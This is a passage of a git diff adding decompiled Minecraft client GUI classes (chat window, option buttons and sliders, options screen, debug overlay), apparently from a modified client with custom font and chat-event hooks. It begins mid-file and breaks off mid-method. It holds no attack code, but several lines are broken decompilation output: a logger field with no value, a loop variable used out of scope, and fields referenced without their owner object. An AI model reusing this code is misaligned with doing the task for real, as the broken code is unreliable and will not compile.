+import org.apache.logging.log4j.Logger;
+
+public class GuiNewChat extends Gui
+{
+  private static final Logger logger = ;
+  
+  private final Minecraft mc;
+  
+  private final List sentMessages = Lists.newArrayList();
+  
+
+  private final List chatLines = Lists.newArrayList();
+  private final List field_146253_i = Lists.newArrayList();
+  private int scrollPos;
+  private boolean isScrolled;
+  private static final String __OBFID = "CL_00000669";
+  
+  public GuiNewChat(Minecraft mcIn)
+  {
+    mc = mcIn;
+  }
+  
+  public void drawChat(int p_146230_1_)
+  {
+    CFontRenderer font = FontLoaders.kiona18;
+    if (mc.gameSettings.chatVisibility != EntityPlayer.EnumChatVisibility.HIDDEN)
+    {
+      int var2 = getLineCount();
+      boolean var3 = false;
+      int var4 = 0;
+      int var5 = field_146253_i.size();
+      float var6 = mc.gameSettings.chatOpacity * 0.9F + 0.1F;
+      
+      if (var5 > 0)
+      {
+        if (getChatOpen())
+        {
+          var3 = true;
+        }
+        
+        float var7 = getChatScale();
+        int var8 = MathHelper.ceiling_float_int(getChatWidth() / var7);
+        GlStateManager.pushMatrix();
+        GlStateManager.translate(2.0F, 20.0F, 0.0F);
+        GlStateManager.scale(var7, var7, 1.0F);
+        
+
+
+
+        for (int var9 = 0; (var9 + scrollPos < field_146253_i.size()) && (var9 < var2); var9++)
+        {
+          ChatLine var10 = (ChatLine)field_146253_i.get(var9 + scrollPos);
+          
+          if (var10 != null)
+          {
+            int var11 = p_146230_1_ - var10.getUpdatedCounter();
+            
+            if ((var11 < 200) || (var3))
+            {
+              double var12 = var11 / 200.0D;
+              var12 = 1.0D - var12;
+              var12 *= 10.0D;
+              var12 = MathHelper.clamp_double(var12, 0.0D, 1.0D);
+              var12 *= var12;
+              int var14 = (int)(255.0D * var12);
+              
+              if (var3)
+              {
+                var14 = 255;
+              }
+              
+              var14 = (int)(var14 * var6);
+              var4++;
+              
+              if (var14 > 3)
+              {
+                byte var15 = 0;
+                int var16 = -var9 * 9;
+                drawRect(var15, var16 - 9, var15 + var8 + 4, var16, var14 / 2 << 24);
+                String var17 = var10.getChatComponent().getFormattedText();
+                GlStateManager.enableBlend();
+                mc.fontRendererObj.drawStringWithShadow(var17, var15, var16 - 8, 16777215 + (var14 << 24));
+                GlStateManager.disableAlpha();
+                GlStateManager.disableBlend();
+              }
+            }
+          }
+        }
+        
+        if (var3)
+        {
+          var9 = mc.fontRendererObj.FONT_HEIGHT;
+          GlStateManager.translate(-3.0F, 0.0F, 0.0F);
+          int var18 = var5 * var9 + var5;
+          int var11 = var4 * var9 + var4;
+          int var19 = scrollPos * var11 / var5;
+          int var13 = var11 * var11 / var18;
+          
+          if (var18 != var11)
+          {
+            int var14 = var19 > 0 ? 170 : 96;
+            int var20 = isScrolled ? 13382451 : 3355562;
+            drawRect(0.0D, -var19, 2.0D, -var19 - var13, var20 + (var14 << 24));
+            drawRect(2.0D, -var19, 1.0D, -var19 - var13, 13421772 + (var14 << 24));
+          }
+        }
+        
+        GlStateManager.popMatrix();
+      }
+    }
+  }
+  
+
+
+
+  public void clearChatMessages()
+  {
+    field_146253_i.clear();
+    chatLines.clear();
+    sentMessages.clear();
+  }
+  
+  public void printChatMessage(IChatComponent p_146227_1_)
+  {
+    printChatMessageWithOptionalDeletion(p_146227_1_, 0);
+  }
+  
+
+
+
+  public void printChatMessageWithOptionalDeletion(IChatComponent p_146234_1_, int p_146234_2_)
+  {
+    setChatLine(p_146234_1_, p_146234_2_, mc.ingameGUI.getUpdateCounter(), false);
+    logger.info("[CHAT] " + p_146234_1_.getUnformattedText());
+  }
+  
+  private void setChatLine(IChatComponent p_146237_1_, int p_146237_2_, int p_146237_3_, boolean p_146237_4_)
+  {
+    if (p_146237_2_ != 0)
+    {
+      deleteChatLine(p_146237_2_);
+    }
+    
+    int var5 = MathHelper.floor_float(getChatWidth() / getChatScale());
+    List var6 = GuiUtilRenderComponents.func_178908_a(p_146237_1_, var5, mc.fontRendererObj, false, false);
+    boolean var7 = getChatOpen();
+    
+    IChatComponent var9;
+    for (Iterator var8 = var6.iterator(); var8.hasNext(); field_146253_i.add(0, new ChatLine(p_146237_3_, var9, p_146237_2_)))
+    {
+      var9 = (IChatComponent)var8.next();
+      
+      if ((var7) && (scrollPos > 0))
+      {
+        isScrolled = true;
+        scroll(1);
+      }
+    }
+    
+    while (field_146253_i.size() > 100)
+    {
+      field_146253_i.remove(field_146253_i.size() - 1);
+    }
+    
+    if (!p_146237_4_)
+    {
+      EventChat ec = new EventChat(EventChat.ChatType.Receive, p_146237_1_.getFormattedText());
+      EventBus.getInstance().call(ec);
+      
+      chatLines.add(0, new ChatLine(p_146237_3_, p_146237_1_, p_146237_2_));
+      
+      while (chatLines.size() > 100)
+      {
+        chatLines.remove(chatLines.size() - 1);
+      }
+    }
+  }
+  
+  public void refreshChat()
+  {
+    field_146253_i.clear();
+    resetScroll();
+    
+    for (int var1 = chatLines.size() - 1; var1 >= 0; var1--)
+    {
+      ChatLine var2 = (ChatLine)chatLines.get(var1);
+      setChatLine(var2.getChatComponent(), var2.getChatLineID(), var2.getUpdatedCounter(), true);
+    }
+  }
+  
+
+
+
+  public List getSentMessages()
+  {
+    return sentMessages;
+  }
+  
+
+
+
+  public void addToSentMessages(String p_146239_1_)
+  {
+    if ((sentMessages.isEmpty()) || (!((String)sentMessages.get(sentMessages.size() - 1)).equals(p_146239_1_)))
+    {
+      sentMessages.add(p_146239_1_);
+    }
+  }
+  
+
+
+
+  public void resetScroll()
+  {
+    scrollPos = 0;
+    isScrolled = false;
+  }
+  
+
+
+
+  public void scroll(int p_146229_1_)
+  {
+    scrollPos += p_146229_1_;
+    int var2 = field_146253_i.size();
+    
+    if (scrollPos > var2 - getLineCount())
+    {
+      scrollPos = (var2 - getLineCount());
+    }
+    
+    if (scrollPos <= 0)
+    {
+      scrollPos = 0;
+      isScrolled = false;
+    }
+  }
+  
+
+
+
+  public IChatComponent getChatComponent(int p_146236_1_, int p_146236_2_)
+  {
+    if (!getChatOpen())
+    {
+      return null;
+    }
+    
+
+    ScaledResolution var3 = new ScaledResolution(mc);
+    int var4 = var3.getScaleFactor();
+    float var5 = getChatScale();
+    int var6 = p_146236_1_ / var4 - 3;
+    int var7 = p_146236_2_ / var4 - 27;
+    var6 = MathHelper.floor_float(var6 / var5);
+    var7 = MathHelper.floor_float(var7 / var5);
+    
+    if ((var6 >= 0) && (var7 >= 0))
+    {
+      int var8 = Math.min(getLineCount(), field_146253_i.size());
+      
+      if ((var6 <= MathHelper.floor_float(getChatWidth() / getChatScale())) && (var7 < mc.fontRendererObj.FONT_HEIGHT * var8 + var8))
+      {
+        int var9 = var7 / mc.fontRendererObj.FONT_HEIGHT + scrollPos;
+        
+        if ((var9 >= 0) && (var9 < field_146253_i.size()))
+        {
+          ChatLine var10 = (ChatLine)field_146253_i.get(var9);
+          int var11 = 0;
+          Iterator var12 = var10.getChatComponent().iterator();
+          
+          while (var12.hasNext())
+          {
+            IChatComponent var13 = (IChatComponent)var12.next();
+            
+            if ((var13 instanceof ChatComponentText))
+            {
+              var11 += mc.fontRendererObj.getStringWidth(GuiUtilRenderComponents.func_178909_a(((ChatComponentText)var13).getChatComponentText_TextValue(), false));
+              
+              if (var11 > var6)
+              {
+                return var13;
+              }
+            }
+          }
+        }
+        
+        return null;
+      }
+      
+
+      return null;
+    }
+    
+
+
+    return null;
+  }
+  
+
+
+
+
+
+  public boolean getChatOpen()
+  {
+    return mc.currentScreen instanceof GuiChat;
+  }
+  
+
+
+
+  public void deleteChatLine(int p_146242_1_)
+  {
+    Iterator var2 = field_146253_i.iterator();
+    
+
+    while (var2.hasNext())
+    {
+      ChatLine var3 = (ChatLine)var2.next();
+      
+      if (var3.getChatLineID() == p_146242_1_)
+      {
+        var2.remove();
+      }
+    }
+    
+    var2 = chatLines.iterator();
+    
+    while (var2.hasNext())
+    {
+      ChatLine var3 = (ChatLine)var2.next();
+      
+      if (var3.getChatLineID() == p_146242_1_)
+      {
+        var2.remove();
+        break;
+      }
+    }
+  }
+  
+  public int getChatWidth()
+  {
+    return calculateChatboxWidth(mc.gameSettings.chatWidth);
+  }
+  
+  public int getChatHeight()
+  {
+    return calculateChatboxHeight(getChatOpen() ? mc.gameSettings.chatHeightFocused : mc.gameSettings.chatHeightUnfocused);
+  }
+  
+
+
+
+  public float getChatScale()
+  {
+    return mc.gameSettings.chatScale;
+  }
+  
+  public static int calculateChatboxWidth(float p_146233_0_)
+  {
+    short var1 = 320;
+    byte var2 = 40;
+    return MathHelper.floor_float(p_146233_0_ * (var1 - var2) + var2);
+  }
+  
+  public static int calculateChatboxHeight(float p_146243_0_)
+  {
+    short var1 = 180;
+    byte var2 = 20;
+    return MathHelper.floor_float(p_146243_0_ * (var1 - var2) + var2);
+  }
+  
+  public int getLineCount()
+  {
+    return getChatHeight() / 9;
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/gui/GuiOptionButton.java b/src/minecraft/net/minecraft/client/gui/GuiOptionButton.java
new file mode 100644
index 0000000..8ce7be8
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/GuiOptionButton.java
@@ -0,0 +1,31 @@
+package net.minecraft.client.gui;
+
+import net.minecraft.client.settings.GameSettings.Options;
+
+public class GuiOptionButton extends GuiButton
+{
+  private final GameSettings.Options enumOptions;
+  private static final String __OBFID = "CL_00000676";
+  
+  public GuiOptionButton(int p_i45011_1_, int p_i45011_2_, int p_i45011_3_, String p_i45011_4_)
+  {
+    this(p_i45011_1_, p_i45011_2_, p_i45011_3_, null, p_i45011_4_);
+  }
+  
+  public GuiOptionButton(int p_i45012_1_, int p_i45012_2_, int p_i45012_3_, int p_i45012_4_, int p_i45012_5_, String p_i45012_6_)
+  {
+    super(p_i45012_1_, p_i45012_2_, p_i45012_3_, p_i45012_4_, p_i45012_5_, p_i45012_6_);
+    enumOptions = null;
+  }
+  
+  public GuiOptionButton(int p_i45013_1_, int p_i45013_2_, int p_i45013_3_, GameSettings.Options p_i45013_4_, String p_i45013_5_)
+  {
+    super(p_i45013_1_, p_i45013_2_, p_i45013_3_, 150, 20, p_i45013_5_);
+    enumOptions = p_i45013_4_;
+  }
+  
+  public GameSettings.Options returnEnumOptions()
+  {
+    return enumOptions;
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/gui/GuiOptionSlider.java b/src/minecraft/net/minecraft/client/gui/GuiOptionSlider.java
new file mode 100644
index 0000000..1f54dd4
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/GuiOptionSlider.java
@@ -0,0 +1,95 @@
+package net.minecraft.client.gui;
+
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.settings.GameSettings;
+import net.minecraft.client.settings.GameSettings.Options;
+import net.minecraft.util.MathHelper;
+
+public class GuiOptionSlider extends GuiButton
+{
+  private float sliderValue;
+  public boolean dragging;
+  private GameSettings.Options options;
+  private final float field_146132_r;
+  private final float field_146131_s;
+  private static final String __OBFID = "CL_00000680";
+  
+  public GuiOptionSlider(int p_i45016_1_, int p_i45016_2_, int p_i45016_3_, GameSettings.Options p_i45016_4_)
+  {
+    this(p_i45016_1_, p_i45016_2_, p_i45016_3_, p_i45016_4_, 0.0F, 1.0F);
+  }
+  
+  public GuiOptionSlider(int p_i45017_1_, int p_i45017_2_, int p_i45017_3_, GameSettings.Options p_i45017_4_, float p_i45017_5_, float p_i45017_6_)
+  {
+    super(p_i45017_1_, p_i45017_2_, p_i45017_3_, 150, 20, "");
+    sliderValue = 1.0F;
+    options = p_i45017_4_;
+    field_146132_r = p_i45017_5_;
+    field_146131_s = p_i45017_6_;
+    Minecraft var7 = Minecraft.getMinecraft();
+    sliderValue = p_i45017_4_.normalizeValue(gameSettings.getOptionFloatValue(p_i45017_4_));
+    displayString = gameSettings.getKeyBinding(p_i45017_4_);
+  }
+  
+
+
+
+
+  protected int getHoverState(boolean mouseOver)
+  {
+    return 0;
+  }
+  
+
+
+
+  protected void mouseDragged(Minecraft mc, int mouseX, int mouseY)
+  {
+    if (visible)
+    {
+      if (dragging)
+      {
+        sliderValue = ((mouseX - (xPosition + 4)) / (width - 8));
+        sliderValue = MathHelper.clamp_float(sliderValue, 0.0F, 1.0F);
+        float var4 = options.denormalizeValue(sliderValue);
+        gameSettings.setOptionFloatValue(options, var4);
+        sliderValue = options.normalizeValue(var4);
+        displayString = gameSettings.getKeyBinding(options);
+      }
+      
+      mc.getTextureManager().bindTexture(buttonTextures);
+      net.minecraft.client.renderer.GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+      drawTexturedModalRect(xPosition + (int)(sliderValue * (width - 8)), yPosition, 0, 66, 4, 20);
+      drawTexturedModalRect(xPosition + (int)(sliderValue * (width - 8)) + 4, yPosition, 196, 66, 4, 20);
+    }
+  }
+  
+
+
+
+
+  public boolean mousePressed(Minecraft mc, int mouseX, int mouseY)
+  {
+    if (super.mousePressed(mc, mouseX, mouseY))
+    {
+      sliderValue = ((mouseX - (xPosition + 4)) / (width - 8));
+      sliderValue = MathHelper.clamp_float(sliderValue, 0.0F, 1.0F);
+      gameSettings.setOptionFloatValue(options, options.denormalizeValue(sliderValue));
+      displayString = gameSettings.getKeyBinding(options);
+      dragging = true;
+      return true;
+    }
+    
+
+    return false;
+  }
+  
+
+
+
+
+  public void mouseReleased(int mouseX, int mouseY)
+  {
+    dragging = false;
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/gui/GuiOptions.java b/src/minecraft/net/minecraft/client/gui/GuiOptions.java
new file mode 100644
index 0000000..59ebf00
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/GuiOptions.java
@@ -0,0 +1,237 @@
+package net.minecraft.client.gui;
+
+import java.util.List;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.audio.SoundCategory;
+import net.minecraft.client.audio.SoundHandler;
+import net.minecraft.client.multiplayer.WorldClient;
+import net.minecraft.client.resources.I18n;
+import net.minecraft.client.settings.GameSettings;
+import net.minecraft.client.settings.GameSettings.Options;
+import net.minecraft.client.stream.IStream;
+import net.minecraft.util.ChatComponentText;
+import net.minecraft.util.ChatComponentTranslation;
+import net.minecraft.world.EnumDifficulty;
+import net.minecraft.world.storage.WorldInfo;
+
+public class GuiOptions extends GuiScreen implements GuiYesNoCallback
+{
+  private static final GameSettings.Options[] field_146440_f = { GameSettings.Options.FOV };
+  
+  private final GuiScreen field_146441_g;
+  
+  private final GameSettings game_settings_1;
+  private GuiButton field_175357_i;
+  private GuiLockIconButton field_175356_r;
+  protected String field_146442_a = "Options";
+  private static final String __OBFID = "CL_00000700";
+  
+  public GuiOptions(GuiScreen p_i1046_1_, GameSettings p_i1046_2_)
+  {
+    field_146441_g = p_i1046_1_;
+    game_settings_1 = p_i1046_2_;
+  }
+  
+
+
+
+  public void initGui()
+  {
+    int var1 = 0;
+    field_146442_a = I18n.format("options.title", new Object[0]);
+    GameSettings.Options[] var2 = field_146440_f;
+    int var3 = var2.length;
+    
+    for (int var4 = 0; var4 < var3; var4++)
+    {
+      GameSettings.Options var5 = var2[var4];
+      
+      if (var5.getEnumFloat())
+      {
+        buttonList.add(new GuiOptionSlider(var5.returnEnumOrdinal(), width / 2 - 155 + var1 % 2 * 160, height / 6 - 12 + 24 * (var1 >> 1), var5));
+      }
+      else
+      {
+        GuiOptionButton var6 = new GuiOptionButton(var5.returnEnumOrdinal(), width / 2 - 155 + var1 % 2 * 160, height / 6 - 12 + 24 * (var1 >> 1), var5, game_settings_1.getKeyBinding(var5));
+        buttonList.add(var6);
+      }
+      
+      var1++;
+    }
+    
+    if (mc.theWorld != null)
+    {
+      EnumDifficulty var7 = mc.theWorld.getDifficulty();
+      field_175357_i = new GuiButton(108, width / 2 - 155 + var1 % 2 * 160, height / 6 - 12 + 24 * (var1 >> 1), 150, 20, func_175355_a(var7));
+      buttonList.add(field_175357_i);
+      
+      if ((mc.isSingleplayer()) && (!mc.theWorld.getWorldInfo().isHardcoreModeEnabled()))
+      {
+        field_175357_i.func_175211_a(field_175357_i.getButtonWidth() - 20);
+        field_175356_r = new GuiLockIconButton(109, field_175357_i.xPosition + field_175357_i.getButtonWidth(), field_175357_i.yPosition);
+        buttonList.add(field_175356_r);
+        field_175356_r.func_175229_b(mc.theWorld.getWorldInfo().isDifficultyLocked());
+        field_175356_r.enabled = (!field_175356_r.func_175230_c());
+        field_175357_i.enabled = (!field_175356_r.func_175230_c());
+      }
+      else
+      {
+        field_175357_i.enabled = false;
+      }
+    }
+    
+    buttonList.add(new GuiButton(110, width / 2 - 155, height / 6 + 48 - 6, 150, 20, I18n.format("options.skinCustomisation", new Object[0])));
+    buttonList.add(new GuiButton(8675309, width / 2 + 5, height / 6 + 48 - 6, 150, 20, "Super Secret Settings...")
+    {
+      private static final String __OBFID = "CL_00000701";
+      
+      public void playPressSound(SoundHandler soundHandlerIn) {
+        net.minecraft.client.audio.SoundEventAccessorComposite var2 = soundHandlerIn.getRandomSoundFromCategories(new SoundCategory[] { SoundCategory.ANIMALS, SoundCategory.BLOCKS, SoundCategory.MOBS, SoundCategory.PLAYERS, SoundCategory.WEATHER });
+        
+        if (var2 != null)
+        {
+          soundHandlerIn.playSound(net.minecraft.client.audio.PositionedSoundRecord.createPositionedSoundRecord(var2.getSoundEventLocation(), 0.5F));
+        }
+      }
+    });
+    buttonList.add(new GuiButton(106, width / 2 - 155, height / 6 + 72 - 6, 150, 20, I18n.format("options.sounds", new Object[0])));
+    buttonList.add(new GuiButton(107, width / 2 + 5, height / 6 + 72 - 6, 150, 20, I18n.format("options.stream", new Object[0])));
+    buttonList.add(new GuiButton(101, width / 2 - 155, height / 6 + 96 - 6, 150, 20, I18n.format("options.video", new Object[0])));
+    buttonList.add(new GuiButton(100, width / 2 + 5, height / 6 + 96 - 6, 150, 20, I18n.format("options.controls", new Object[0])));
+    buttonList.add(new GuiButton(102, width / 2 - 155, height / 6 + 120 - 6, 150, 20, I18n.format("options.language", new Object[0])));
+    buttonList.add(new GuiButton(103, width / 2 + 5, height / 6 + 120 - 6, 150, 20, I18n.format("options.multiplayer.title", new Object[0])));
+    buttonList.add(new GuiButton(105, width / 2 - 155, height / 6 + 144 - 6, 150, 20, I18n.format("options.resourcepack", new Object[0])));
+    buttonList.add(new GuiButton(104, width / 2 + 5, height / 6 + 144 - 6, 150, 20, I18n.format("options.snooper.view", new Object[0])));
+    buttonList.add(new GuiButton(200, width / 2 - 100, height / 6 + 168, I18n.format("gui.done", new Object[0])));
+  }
+  
+  public String func_175355_a(EnumDifficulty p_175355_1_)
+  {
+    ChatComponentText var2 = new ChatComponentText("");
+    var2.appendSibling(new ChatComponentTranslation("options.difficulty", new Object[0]));
+    var2.appendText(": ");
+    var2.appendSibling(new ChatComponentTranslation(p_175355_1_.getDifficultyResourceKey(), new Object[0]));
+    return var2.getFormattedText();
+  }
+  
+  public void confirmClicked(boolean result, int id)
+  {
+    mc.displayGuiScreen(this);
+    
+    if ((id == 109) && (result) && (mc.theWorld != null))
+    {
+      mc.theWorld.getWorldInfo().setDifficultyLocked(true);
+      field_175356_r.func_175229_b(true);
+      field_175356_r.enabled = false;
+      field_175357_i.enabled = false;
+    }
+  }
+  
+  protected void actionPerformed(GuiButton button) throws java.io.IOException
+  {
+    if (enabled)
+    {
+      if ((id < 100) && ((button instanceof GuiOptionButton)))
+      {
+        GameSettings.Options var2 = ((GuiOptionButton)button).returnEnumOptions();
+        game_settings_1.setOptionValue(var2, 1);
+        displayString = game_settings_1.getKeyBinding(GameSettings.Options.getEnumOptions(id));
+      }
+      
+      if (id == 108)
+      {
+        mc.theWorld.getWorldInfo().setDifficulty(EnumDifficulty.getDifficultyEnum(mc.theWorld.getDifficulty().getDifficultyId() + 1));
+        field_175357_i.displayString = func_175355_a(mc.theWorld.getDifficulty());
+      }
+      
+      if (id == 109)
+      {
+        mc.displayGuiScreen(new GuiYesNo(this, new ChatComponentTranslation("difficulty.lock.title", new Object[0]).getFormattedText(), new ChatComponentTranslation("difficulty.lock.question", new Object[] { new ChatComponentTranslation(mc.theWorld.getWorldInfo().getDifficulty().getDifficultyResourceKey(), new Object[0]) }).getFormattedText(), 109));
+      }
+      
+      if (id == 110)
+      {
+        mc.gameSettings.saveOptions();
+        mc.displayGuiScreen(new GuiCustomizeSkin(this));
+      }
+      
+      if (id == 8675309)
+      {
+        mc.entityRenderer.activateNextShader();
+      }
+      
+      if (id == 101)
+      {
+        mc.gameSettings.saveOptions();
+        mc.displayGuiScreen(new GuiVideoSettings(this, game_settings_1));
+      }
+      
+      if (id == 100)
+      {
+        mc.gameSettings.saveOptions();
+        mc.displayGuiScreen(new GuiControls(this, game_settings_1));
+      }
+      
+      if (id == 102)
+      {
+        mc.gameSettings.saveOptions();
+        mc.displayGuiScreen(new GuiLanguage(this, game_settings_1, mc.getLanguageManager()));
+      }
+      
+      if (id == 103)
+      {
+        mc.gameSettings.saveOptions();
+        mc.displayGuiScreen(new ScreenChatOptions(this, game_settings_1));
+      }
+      
+      if (id == 104)
+      {
+        mc.gameSettings.saveOptions();
+        mc.displayGuiScreen(new GuiSnooper(this, game_settings_1));
+      }
+      
+      if (id == 200)
+      {
+        mc.gameSettings.saveOptions();
+        mc.displayGuiScreen(field_146441_g);
+      }
+      
+      if (id == 105)
+      {
+        mc.gameSettings.saveOptions();
+        mc.displayGuiScreen(new GuiScreenResourcePacks(this));
+      }
+      
+      if (id == 106)
+      {
+        mc.gameSettings.saveOptions();
+        mc.displayGuiScreen(new GuiScreenOptionsSounds(this, game_settings_1));
+      }
+      
+      if (id == 107)
+      {
+        mc.gameSettings.saveOptions();
+        IStream var3 = mc.getTwitchStream();
+        
+        if ((var3.func_152936_l()) && (var3.func_152928_D()))
+        {
+          mc.displayGuiScreen(new net.minecraft.client.gui.stream.GuiStreamOptions(this, game_settings_1));
+        }
+        else
+        {
+          net.minecraft.client.gui.stream.GuiStreamUnavailable.func_152321_a(this);
+        }
+      }
+    }
+  }
+  
+
+
+
+  public void drawScreen(int mouseX, int mouseY, float partialTicks)
+  {
+    drawDefaultBackground();
+    drawCenteredString(fontRendererObj, field_146442_a, width / 2, 15, 16777215);
+    super.drawScreen(mouseX, mouseY, partialTicks);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/gui/GuiOptionsRowList.java b/src/minecraft/net/minecraft/client/gui/GuiOptionsRowList.java
new file mode 100644
index 0000000..c193289
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/GuiOptionsRowList.java
@@ -0,0 +1,143 @@
+package net.minecraft.client.gui;
+
+import java.util.List;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.settings.GameSettings;
+import net.minecraft.client.settings.GameSettings.Options;
+
+public class GuiOptionsRowList extends GuiListExtended
+{
+  private final List field_148184_k = com.google.common.collect.Lists.newArrayList();
+  private static final String __OBFID = "CL_00000677";
+  
+  public GuiOptionsRowList(Minecraft mcIn, int p_i45015_2_, int p_i45015_3_, int p_i45015_4_, int p_i45015_5_, int p_i45015_6_, GameSettings.Options... p_i45015_7_)
+  {
+    super(mcIn, p_i45015_2_, p_i45015_3_, p_i45015_4_, p_i45015_5_, p_i45015_6_);
+    field_148163_i = false;
+    
+    for (int var8 = 0; var8 < p_i45015_7_.length; var8 += 2)
+    {
+      GameSettings.Options var9 = p_i45015_7_[var8];
+      GameSettings.Options var10 = var8 < p_i45015_7_.length - 1 ? p_i45015_7_[(var8 + 1)] : null;
+      GuiButton var11 = func_148182_a(mcIn, p_i45015_2_ / 2 - 155, 0, var9);
+      GuiButton var12 = func_148182_a(mcIn, p_i45015_2_ / 2 - 155 + 160, 0, var10);
+      field_148184_k.add(new Row(var11, var12));
+    }
+  }
+  
+  private GuiButton func_148182_a(Minecraft mcIn, int p_148182_2_, int p_148182_3_, GameSettings.Options p_148182_4_)
+  {
+    if (p_148182_4_ == null)
+    {
+      return null;
+    }
+    
+
+    int var5 = p_148182_4_.returnEnumOrdinal();
+    return p_148182_4_.getEnumFloat() ? new GuiOptionSlider(var5, p_148182_2_, p_148182_3_, p_148182_4_) : new GuiOptionButton(var5, p_148182_2_, p_148182_3_, p_148182_4_, gameSettings.getKeyBinding(p_148182_4_));
+  }
+  
+
+  public Row func_180792_c(int p_180792_1_)
+  {
+    return (Row)field_148184_k.get(p_180792_1_);
+  }
+  
+  protected int getSize()
+  {
+    return field_148184_k.size();
+  }
+  
+
+
+
+  public int getListWidth()
+  {
+    return 400;
+  }
+  
+  protected int getScrollBarX()
+  {
+    return super.getScrollBarX() + 32;
+  }
+  
+
+
+
+  public GuiListExtended.IGuiListEntry getListEntry(int p_148180_1_)
+  {
+    return func_180792_c(p_148180_1_);
+  }
+  
+  public static class Row implements GuiListExtended.IGuiListEntry
+  {
+    private final Minecraft field_148325_a = Minecraft.getMinecraft();
+    private final GuiButton field_148323_b;
+    private final GuiButton field_148324_c;
+    private static final String __OBFID = "CL_00000678";
+    
+    public Row(GuiButton p_i45014_1_, GuiButton p_i45014_2_)
+    {
+      field_148323_b = p_i45014_1_;
+      field_148324_c = p_i45014_2_;
+    }
+    
+    public void drawEntry(int slotIndex, int x, int y, int listWidth, int slotHeight, int mouseX, int mouseY, boolean isSelected)
+    {
+      if (field_148323_b != null)
+      {
+        field_148323_b.yPosition = y;
+        field_148323_b.drawButton(field_148325_a, mouseX, mouseY);
+      }
+      
+      if (field_148324_c != null)
+      {
+        field_148324_c.yPosition = y;
+        field_148324_c.drawButton(field_148325_a, mouseX, mouseY);
+      }
+    }
+    
+    public boolean mousePressed(int p_148278_1_, int p_148278_2_, int p_148278_3_, int p_148278_4_, int p_148278_5_, int p_148278_6_)
+    {
+      if (field_148323_b.mousePressed(field_148325_a, p_148278_2_, p_148278_3_))
+      {
+        if ((field_148323_b instanceof GuiOptionButton))
+        {
+          field_148325_a.gameSettings.setOptionValue(((GuiOptionButton)field_148323_b).returnEnumOptions(), 1);
+          field_148323_b.displayString = field_148325_a.gameSettings.getKeyBinding(GameSettings.Options.getEnumOptions(field_148323_b.id));
+        }
+        
+        return true;
+      }
+      if ((field_148324_c != null) && (field_148324_c.mousePressed(field_148325_a, p_148278_2_, p_148278_3_)))
+      {
+        if ((field_148324_c instanceof GuiOptionButton))
+        {
+          field_148325_a.gameSettings.setOptionValue(((GuiOptionButton)field_148324_c).returnEnumOptions(), 1);
+          field_148324_c.displayString = field_148325_a.gameSettings.getKeyBinding(GameSettings.Options.getEnumOptions(field_148324_c.id));
+        }
+        
+        return true;
+      }
+      
+
+      return false;
+    }
+    
+
+    public void mouseReleased(int slotIndex, int x, int y, int mouseEvent, int relativeX, int relativeY)
+    {
+      if (field_148323_b != null)
+      {
+        field_148323_b.mouseReleased(x, y);
+      }
+      
+      if (field_148324_c != null)
+      {
+        field_148324_c.mouseReleased(x, y);
+      }
+    }
+    
+    public void setSelected(int p_178011_1_, int p_178011_2_, int p_178011_3_) {}
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/gui/GuiOverlayDebug.java b/src/minecraft/net/minecraft/client/gui/GuiOverlayDebug.java
new file mode 100644
index 0000000..80fd7f4
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/GuiOverlayDebug.java
@@ -0,0 +1,272 @@
+package net.minecraft.client.gui;
+
+import com.google.common.base.Strings;
+import com.google.common.collect.Lists;
+import com.google.common.collect.UnmodifiableIterator;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Map.Entry;
+import net.minecraft.block.Block;
+import net.minecraft.block.properties.IProperty;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.entity.EntityPlayerSP;
+import net.minecraft.client.multiplayer.WorldClient;
+import net.minecraft.client.renderer.EntityRenderer;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.RenderGlobal;
+import net.minecraft.entity.Entity;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumChatFormatting;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.MathHelper;
+import net.minecraft.util.MovingObjectPosition;
+import net.minecraft.util.MovingObjectPosition.MovingObjectType;
+import net.minecraft.world.DifficultyInstance;
+import net.minecraft.world.chunk.Chunk;
+import optifine.Reflector;
+import org.lwjgl.opengl.Display;
+import org.lwjgl.opengl.GL11;
+
+public class GuiOverlayDebug extends Gui
+{
+  private final Minecraft mc;
+  private final FontRenderer fontRenderer;
+  private static final String __OBFID = "CL_00001956";
+  
+  public GuiOverlayDebug(Minecraft mc)
+  {
+    this.mc = mc;
+    fontRenderer = fontRendererObj;
+  }
+  
+  public void func_175237_a(ScaledResolution scaledResolutionIn)
+  {
+    mc.mcProfiler.startSection("debug");
+    GlStateManager.pushMatrix();
+    func_180798_a();
+    func_175239_b(scaledResolutionIn);
+    GlStateManager.popMatrix();
+    mc.mcProfiler.endSection();
+  }
+  
+  private boolean func_175236_d()
+  {
+    return (mc.thePlayer.func_175140_cp()) || (mc.gameSettings.field_178879_v);
+  }
+  
+  protected void func_180798_a()
+  {
+    List var1 = call();
+    
+    for (int var2 = 0; var2 < var1.size(); var2++)
+    {
+      String var3 = (String)var1.get(var2);
+      
+      if (!Strings.isNullOrEmpty(var3))
+      {
+        int var4 = fontRenderer.FONT_HEIGHT;
+        int var5 = fontRenderer.getStringWidth(var3);
+        boolean var6 = true;
+        int var7 = 2 + var4 * var2;
+        drawRect(1.0D, var7 - 1, 2 + var5 + 1, var7 + var4 - 1, -1873784752);
+        fontRenderer.drawString(var3, 2, var7, 14737632);
+      }
+    }
+  }
+  
+  protected void func_175239_b(ScaledResolution p_175239_1_)
+  {
+    List var2 = func_175238_c();
+    
+    for (int var3 = 0; var3 < var2.size(); var3++)
+    {
+      String var4 = (String)var2.get(var3);
+      
+      if (!Strings.isNullOrEmpty(var4))
